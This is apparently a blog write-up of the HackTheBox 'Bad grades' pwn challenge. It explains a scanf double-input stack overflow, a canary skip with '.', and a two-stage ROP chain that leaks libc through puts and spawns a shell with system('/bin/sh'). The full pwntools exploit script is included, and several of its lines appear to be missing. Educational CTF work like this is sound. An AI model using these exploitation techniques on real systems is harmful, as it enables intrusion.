Hi everyone!

Today’s post is on Bad grades, a HackTheBox easy Pwn challenge. I wouldn’t say it’s completely easy which the number of people who managed to solve it and the rating people gives shows it as well. This challenge is a Return-oriented Programming (ROP) challenge based on double input in scanf(“&lf”). Read on if you are interested. Let’s get started!

## Outlook of the program

First page:

```┌──(soulx㉿kali)-[~/…/CTF/HackTheBox/Pwn/Bad_Grades]

>```

Choice 1:

```Your grades were:
2
4
1
3
0

You need to try HARDER!```

Choice 2:

```Number of grades: 3

Choice 2 will prompt us to input the number of grades before prompting us to input each grade before printing the average grade.

If we do not input for a long time, an alarm signal will be called and the program will end:

```┌──(soulx㉿kali)-[~/…/CTF/HackTheBox/Pwn/Bad_Grades]

## Static reverse engineering analysis

I used IDA to reverse engineer instead of the decompiled version on Ghidra as the results from Ghidra weren’t accurate. You may download the IDA database of what I reverse engineered here as it contains renaming of variables, functions, and comments.

The vulnerability isn’t very obvious unless we look at the assembly code as compared to random inputs into the program when running the program.

While doing static analysis, I noticed that the size of the `grade_input_array` is 33. This can be obtained via:

```graded_input_array @ rbp-0x110
canary @ rbp-0x8

space of graded_input_array = 0x110 - 0x8 = 0x108
number of indexes of graded_input_array = 0x108 / 8 = 33```

We can divide by 8bytes/index to get the number of indexes because `grade_input_array` is an array of double which double is 8 bytes.

The `grade_input_array` stores the grades that we input when prompted in `choice_2()` before each of the grades is added and divided to get the average.

#### Vulnerability in choice_2()

If we look at the assembly code, we will notice that the counter or number of grades is accurate set by us which was prompted at the start of `choice_2()`.

Remember in Fig 5b that the WHILE loop continues reading our double value for the grade and stores it in the `grade_input_array[]` until the counter reaches the number of grades we set? As the number of index for `grade_input_array[]` is only until 32, no checks are made to the numbers of grades we can set. Therefore, we can actually write to more than 32 indexes. As a result, a buffer overflow occurs!

## Type of exploit

To know if we can do ret2libc, return-oriented programming (ROP), etc, we have to look at the security implementation first.

```┌──(soulx㉿kali)-[~/…/CTF/HackTheBox/Pwn/Bad_Grades]
Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x400000)```

As NX is enabled while there is no PIE/ASLR, we can do ROP. Despite there a canary, we can easily bypass it with dot/period `.`.

## Exploitation and getting user flag

#### Hexadecimal to double data type

As our input must be in double data type due to `scan("%lf", &grade_input_array[counter])`, we must find a way to convert from hexadecimal to double data type. This is important as gadget addresses and function addresses are in hexadecimal. The system will process them in hexadecimal from the memory. Since we only can write in double data type, the double data type value we input must be able to convert into the intended hexadecimal value in the memory.

As a result, we first have to use GDB to verify if it works. Firstly, let’s look at the entry point address to see if we need to offset it.

```(gdb) r
CTRL^C
(gdb) info file
Native process:
Using the running image of child process 72.
While running this, GDB does not access memory from...
Local exec file:
Entry point: 0x400710
...```

We can see that it starts from 0x400xxx which is the same as on IDA. This means we can just copy and paste the location/address we want before any offsets when wanting to set breakpoints.

Next, we can set breakpoint after `scan("%lf", &grade_input_array[counter])`.

Since we know the address to set a breakpoint is at 0x401088, we can now try to generate a random hexadecimal into double value using Python. As an experiment, I used 0x0000000040000000.

```>>> struct.unpack('d', bytes.fromhex("0000000040000000"))
1.35807730622e-312
# is for little-endian
>>> struct.unpack('!d', bytes.fromhex("0000000040000000"))
5.304989477e-315
# is for big-endian```

Just some quick googling, I was able to find the source code above on StackOverflow which gave the big-endian version. Since our program is in little-endian, we have to use the `"d"` argument instead. We can prove which is big-endian and which is little-endian on GDB when verifying if our hexadecimal to double data type works or not.

```(gdb) b *0x401088
Breakpoint 1 at 0x401088
(gdb) r

> 2

Breakpoint 1, 0x0000000000401088 in ?? ()
(gdb) x/5x \$rbp-0x110
0x7fffffffddc0: 0x00000000      0x00000040      0x00000000      0x00000000
0x7fffffffddd0: 0x00400710
(gdb) c
Continuing.

Breakpoint 1, 0x0000000000401088 in ?? ()
(gdb) x/5x \$rbp-0x110
0x7fffffffddc0: 0x00000000      0x00000040      0x40000000      0x00000000
0x7fffffffddd0: 0x00400710
(gdb)```

Based on the GDB above, `Grade ` I input the double data type value for little-endian and big-endian for `Grade `. Since `Grade ` == `grade_input_array`, `Grade ` == `grade_input_array`, we can see that it is true that `"d"` argument results in little-endian for `ebp-0x110` while big-endian at `ebp-0x108`. Our conversion works as well as the memory is stored in the hexadecimal we wanted.

However, you may find the stored value a bit strange, this is because our program is in little-endian. When we want to convert 0x400000, we must first change it to little-endian which is 0x00004000000000 in 8 bytes. This can easily be done using `p64()`. You can read more about `"d"` vs `"!d"` here. Just remember: for little-endian, convert hexadecimal to little-endian then use “d” parameter for little-endian, vice versa.

As we are using Pwntools, we can use the `p64()` function to pack our data to 64-bits (8 bytes) and in little-endian before converting to string hexadecimal, convert string hexadecimal to float, before returning as string float. To make things easier, I will be creating a function called `hex_to_double()`.

Note that when we send data over using Pwntools using `sendline()` or `send()`, we must send either in string or in bytes. Since our input is in float, we have to send over as string. The program on the serer will parse our string input and recognize it as float.

```from pwn import *

def hex_to_double(val):
# we need to make sure it is 8 bytes so use 64bits packer
val = p64(val).hex()
# print(val) # debug to see if there is "0x" infront
# return in double (little endian)
val = struct.unpack('d', bytes.fromhex(val))

# our input must be in string when sending over to the server
return str(val)```

Sometimes because of stack alignment or so, there may be some empty buffer between the base pointer location and the function’s return address. Therefore, I always make a habit to check it.

```(gdb) x/5x \$rbp
0x7fffffffded0: 0xffffdef0      0x00007fff      0x004011c6      0x00000000
0x7fffffffdee0: 0xffffdfe0```

#### Bypass canary

Bypassing the canary is much easier for `scanf()` that only takes in integer, float, or double as we can just input dot/period. If `scanf()` takes in string, we will have to use format string attack to leak the canary value.

Below shows an example of a C program where if we input a dot/period, the input will be skipped and variable a will retain its original value.

```#include <stdio.h>

int main()
{
int a = 10;

printf("Input: ");
scanf("%d", &a);
printf("%d", a);
// result: 10

return 0;
}```

Using this concept, we use dot/period so that the canary will not be overwritten when buffer overflow occurs.

```binary = ELF("./bad_grades")
context.arch = 'amd64'

rop_binary = ROP(binary)

r = remote("142.93.38.188" ,30677)

# choose choice 2 after the main page when receive prompt
r.sendlineafter("> ", "2")
# 36th is the start of RET addr location. Need 4 indexes for our ROP chain

# We will just use dot (.) to skip all grades input from the 1st 33 indexes (index 0 to 32).
# Using dot (.) at index 33 helps to skip canary from being overwritten.
# Index 34 is the base pointer. Can overwrite it but I choose not to by skipping it.
for i in range(35):
r.sendline(".")```

We can just input dot/period from index 0 to index 34 which is all the spaces in `grade_input_array[]`, the canary, and the base pointer value. You can choose to overwrite values in `grade_input_array[]` or base pointer value but I find no meaning to it.

#### ROP to leak ASLR based address of the server

This step is quite straight forward. I will be using `puts()` to leak its address in the server’s libc. If you are not sure about ROP on Linux, you can read my blog post here.

```# find POP RDI to store our puts.got address into RDI since it is on stack after our gadget address by writing to index 35
# so that we will put this puts.got on stack so that can be pop into RDI by our gadget to leak ASLR puts at libc's address by writing to index 36
r.sendline(hex_to_double(binary.got["puts"]))
# to print the ASLR address of puts in libc by writing to index 37
r.sendline(hex_to_double(binary.plt["puts"]))
# jump back to choice_2() by writing to index 38
r.sendline(hex_to_double(0x400FD5))

# to ignore the printed average grade result
r.recvuntil("\n")

libc = ELF("./libc.so.6")

Remember that your ROP chain must contain `choice_2()` vulnerable function’s address so that we can send our next ROP to exploit which is to spawn a `/bin/sh` shell using `system()` after we obtain the leaked libc address.

Since the libc library is given to us, we don’t have to find out what it is and download the correct version. Therefore, we can just use the libc given to us.

#### Spawn /bin/sh shell and get the flag

Finally, we can get a shell by using Pwntools to find the “/bin/sh” string, the required gadget, and call the `system()` from libc. Remember to ensure there is stack alignment thus I find and include a dummy “RET” only gadget. If you are not sure what is alignment, read my ROP blog I posted the link previously.

```rop_libc = ROP(libc)

# 36th is the start of RET addr location. Need 4 indexes for our ROP chain

# We will just use dot (.) to skip all grades input from the 1st 33 indexes (index 0 to 32).
# Using dot (.) at index 34 helps to skip canary from being overwritten.
# Index 34 is the base pointer. Can overwrite it but I choose not to by skipping it.
for i in range(35):
r.sendline(".")

# put gadget with only "RET" by writing to index 35 which is a dummy gadget so that we have have stack alignment
# find POP RDI to store "/bin/sh" address into RDI since it is on stack after our gadget address by writing to index 36
# find the address of string "/bin/sh" and put on stack by writing to index 37
r.sendline(hex_to_double(next(libc.search(b"/bin/sh\x00"))))
r.sendline(hex_to_double(libc.symbols["system"]))

# to ignore the printed average grade result
r.recvuntil("\n")

r.interactive()```

Running the code with Python3 will allow us to get a shell and then obtain the flag.

```[*] Leaked server's libc address, puts(): 0x7ff1a2d6aaa0
Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      PIE enabled
[*] Leaked server's libc base address: 0x7ff1a2cea000
[*] Switching to interactive mode
\$ ls
flag.txt
libc.so.6
run_challenge.sh
\$ cat flag.txt
HTB{c4n4ry_1s_4fr41d_0f_s1gn3d_numb3r5}
\$ ```

## Full exploit code

```from pwn import *

def hex_to_double(val):
# we need to make sure it is 8 bytes so use 64bits packer
val = p64(val).hex()
# print(val) # debug to see if there is "0x" infront
# return in double (little endian)
val = struct.unpack('d', bytes.fromhex(val))

# our input must be in string when sending over to the server
return str(val)

context.arch = 'amd64'

rop_binary = ROP(binary)

r = remote("142.93.38.188" ,30677)

# choose choice 2 after the main page when receive prompt
r.sendlineafter("> ", "2")
# 36th is the start of RET addr location. Need 4 indexes for our ROP chain

# We will just use dot (.) to skip all grades input from the 1st 33 indexes (index 0 to 32).
# Using dot (.) at index 33 helps to skip canary from being overwritten.
# Index 34 is the base pointer. Can overwrite it but I choose not to by skipping it.
for i in range(35):
r.sendline(".")

# Have to one by one send parts of our ROP payload instead of usually ROP string chain since input is in double

# find POP RDI to store our puts.got address into RDI since it is on stack after our gadget address by writing to index 35
# so that we will put this puts.got on stack so that can be pop into RDI by our gadget to leak ASLR puts at libc's address by writing to index 36
r.sendline(hex_to_double(binary.got["puts"]))
# to print the ASLR address of puts in libc by writing to index 37
r.sendline(hex_to_double(binary.plt["puts"]))
# jump back to choice_2() by writing to index 38
r.sendline(hex_to_double(0x400FD5))

# to ignore the printed average grade result
r.recvuntil("\n")

libc = ELF("./libc.so.6")

############################# GET SHELL #############################

rop_libc = ROP(libc)

# 36th is the start of RET addr location. Need 4 indexes for our ROP chain

# We will just use dot (.) to skip all grades input from the 1st 33 indexes (index 0 to 32).
# Using dot (.) at index 34 helps to skip canary from being overwritten.
# Index 34 is the base pointer. Can overwrite it but I choose not to by skipping it.
for i in range(35):
r.sendline(".")

# put gadget with only "RET" by writing to index 35 which is a dummy gadget so that we have have stack alignment
# find POP RDI to store "/bin/sh" address into RDI since it is on stack after our gadget address by writing to index 36
# find the address of string "/bin/sh" and put on stack by writing to index 37
r.sendline(hex_to_double(next(libc.search(b"/bin/sh\x00"))))
r.sendline(hex_to_double(libc.symbols["system"]))

# to ignore the printed average grade result
r.recvuntil("\n")

r.interactive()
```